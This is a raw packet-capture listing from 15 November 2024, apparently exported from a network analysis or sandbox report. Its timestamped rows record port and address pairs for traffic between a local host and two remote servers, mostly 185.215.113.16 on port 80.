Nov 15, 2024 13:18:30.797739983 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.797746897 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:30.797750950 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.797768116 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.797795057 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:30.797825098 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.797836065 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.797847033 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.797875881 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:30.797907114 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.797918081 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.797938108 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:30.798016071 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:30.798108101 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.798119068 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.798131943 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.798145056 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.798155069 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.798157930 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:30.798166037 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.798219919 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:30.798219919 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:30.798378944 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.798471928 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.798475027 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.798480034 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.798481941 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.798527956 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.798547983 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.798557043 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:30.798557997 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.798576117 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:30.798576117 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.798585892 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.798604965 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:30.798612118 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.798640013 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:30.798677921 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.798688889 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.798698902 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.798713923 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.798726082 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.798743010 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:30.798796892 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.798805952 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.798824072 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.798826933 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:30.798839092 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.798845053 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.798852921 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:30.799093962 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:30.829073906 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.829087973 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.829098940 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.829112053 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.829143047 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:30.829229116 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:30.829969883 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.830003023 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.830005884 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.830012083 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.830028057 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:30.830102921 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.830113888 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.830116034 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:30.830159903 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.830210924 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.830221891 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.830233097 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.830235004 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:30.830291986 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:30.830315113 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.830327034 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.830338001 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.830354929 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.830387115 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:30.830401897 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.830424070 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.830486059 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.830497026 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.830507994 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.830514908 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:30.830535889 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:30.830562115 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.830590010 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:30.830780983 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.830815077 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.830825090 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.830887079 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.830897093 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.830908060 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.830914021 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:30.830934048 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:30.830939054 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.830949068 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.831018925 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.831027985 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.831039906 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.831043959 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:30.831075907 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.831087112 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.831106901 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:30.831166983 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.831196070 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:30.831217051 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.831228971 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.831271887 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.831281900 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.831301928 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:30.831383944 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.831393957 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.831409931 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:30.831418037 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.831429958 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.831442118 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.831454039 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:30.831454039 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:30.831492901 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.831502914 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.831511974 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.831521988 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:30.831528902 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.831537962 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.831548929 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.831557989 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:30.831577063 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:30.831608057 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.831618071 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.831635952 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:30.831664085 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.831676006 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.831680059 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:30.831686974 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.831713915 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:30.831859112 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.831887960 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.831898928 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.831954002 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:30.831954002 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:30.831983089 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.831995010 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.832005024 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.832031965 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:30.838673115 CET	443	49768	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:30.839624882 CET	49768	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:30.839624882 CET	49768	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:30.839646101 CET	443	49768	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:30.839667082 CET	443	49768	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:30.872948885 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.872966051 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.872978926 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.873008013 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.873011112 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:30.873019934 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.873032093 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.873040915 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:30.873083115 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:30.917172909 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:30.920934916 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.920952082 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.920993090 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.921005964 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.921019077 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.921026945 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:30.921030998 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.921042919 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.921055079 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.921067953 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.921081066 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.921101093 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.921102047 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:30.921102047 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:30.921112061 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.921129942 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:30.921143055 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.921154976 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.921173096 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:30.921291113 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.921300888 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.921312094 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.921323061 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:30.921339035 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.921349049 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.921359062 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.921367884 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:30.921389103 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:30.921422958 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.921432972 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.921452045 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:30.921457052 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.921466112 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.921495914 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:30.921561956 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:30.921652079 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.921694040 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.921710968 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.921753883 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.921782017 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:30.921803951 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.921814919 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.921916008 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:30.921941042 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.921950102 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.921961069 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.921971083 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.921978951 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.921988964 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.921999931 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.922003031 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:30.922019005 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.922029018 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.922049999 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:30.922058105 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.922086000 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:30.922087908 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.922096968 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.922122002 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:30.922194958 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:30.952214956 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.952241898 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.952250004 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.952553988 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:30.953721046 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.953758001 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.953768969 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.953821898 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.953833103 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.953840017 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.953854084 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.953859091 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.953879118 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:30.953926086 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.953938007 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.953958035 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:30.954035997 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.954041004 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:30.954046011 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.954056978 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.954067945 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.954077005 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.954087973 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.954098940 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.954104900 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:30.954108953 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.954133034 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:30.954176903 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.954186916 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.954197884 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.954206944 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:30.954209089 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.954220057 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.954231024 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.954233885 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:30.954246998 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:30.954298019 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.954327106 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:30.954359055 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.954370022 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.954389095 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:30.954404116 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.954416037 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.954426050 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.954432011 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:30.954449892 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.954458952 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:30.954461098 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.954519033 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.954529047 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:30.954530001 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.954576969 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.954616070 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:30.954634905 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:30.954794884 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.954807043 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.954818010 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.954847097 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:30.954854012 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.954864025 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.954874992 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.954886913 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.954910994 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:30.954983950 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.954994917 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.955004930 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.955014944 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.955027103 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.955038071 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.955054045 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.955054998 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:30.955065012 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.955081940 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:30.955156088 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:30.955159903 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.955166101 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.955176115 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.955188036 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.955209970 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.955215931 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:30.955239058 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:30.955265999 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:30.968636990 CET	443	49768	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:30.968705893 CET	443	49768	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:30.968998909 CET	49768	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:30.968998909 CET	49768	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:30.968998909 CET	49768	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:30.971558094 CET	49773	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:30.971590042 CET	443	49773	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:30.971693039 CET	49773	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:30.971920967 CET	49773	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:30.971934080 CET	443	49773	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:30.995304108 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.995328903 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.995342016 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.995538950 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:30.995901108 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.995930910 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.995985985 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.995996952 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.996009111 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.996056080 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:30.996097088 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:31.015572071 CET	443	49769	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:31.016036034 CET	49769	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:31.016051054 CET	443	49769	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:31.016762018 CET	49769	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:31.016766071 CET	443	49769	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:31.061000109 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:31.061018944 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:31.061032057 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:31.061125994 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:31.061136961 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:31.061152935 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:31.061165094 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:31.061177015 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:31.061187983 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:31.061196089 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:31.061199903 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:31.061196089 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:31.061212063 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:31.061223984 CET	80	49734	185.215.113.16	192.168.2.7
